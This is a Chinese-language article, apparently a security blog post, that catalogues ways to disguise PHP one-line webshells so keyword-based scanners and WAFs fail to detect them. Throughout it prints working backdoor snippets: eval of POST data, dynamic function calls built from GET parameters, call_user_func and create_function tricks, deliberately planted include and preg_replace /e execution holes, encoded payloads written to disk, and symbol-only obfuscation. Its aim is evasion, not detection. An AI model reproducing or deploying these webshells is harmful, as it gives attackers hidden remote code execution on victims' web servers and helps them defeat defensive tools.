PHP一句话Webshell变形总结

0×00 前言
大部分查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.
0×01 字符串上的舞蹈
一般标准的一句话是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:
@eval ($_POST[xxxxx]);
很明显的eval会成为静态特征码扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用等编码函数来进行绕过
@$_GET[a]($_POST[xxxxx]);
or
@base64_decode(base64编码过的eval)
当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.
另外大多数的查杀工具很少把函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用替换eval来执行猥琐的功能.
以前在ASP一句话的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用,等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个比较简单的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));

PHP一句话Webshell变形总结

文章插图
字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋 –__-!
0×02 利用PHP函数的一些特性
这一小段其实还是建立在玩转了字符串的基础上的,一个小例子
if(key($_GET)=='xxxxxx')call_user_func($_GET[xxx],$_POST[evil]);
好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸
$x=create_function('',$_GET[x]); $x();
再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的加/e参数的黄金组合,这类一句话也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如
$f=$_GET[x];include($f);
这样构造一个包含漏洞出来,或者
$s= copy,movefile ; //…. etc$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);
利用一些文件操作函数来猥琐一些小动作,再或者来个执行漏洞的经典例子
$t= prege_replace;$t("/[xxx]/e",$_POST[x],"Hah!~");
这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.
0×03 利用PHP的一些魔法特性
不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子
($_=@$_GET[2]).@$_($_POST[1]);
and
$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
or
${'_'.$_}['_'](${'_'.$_}['__']);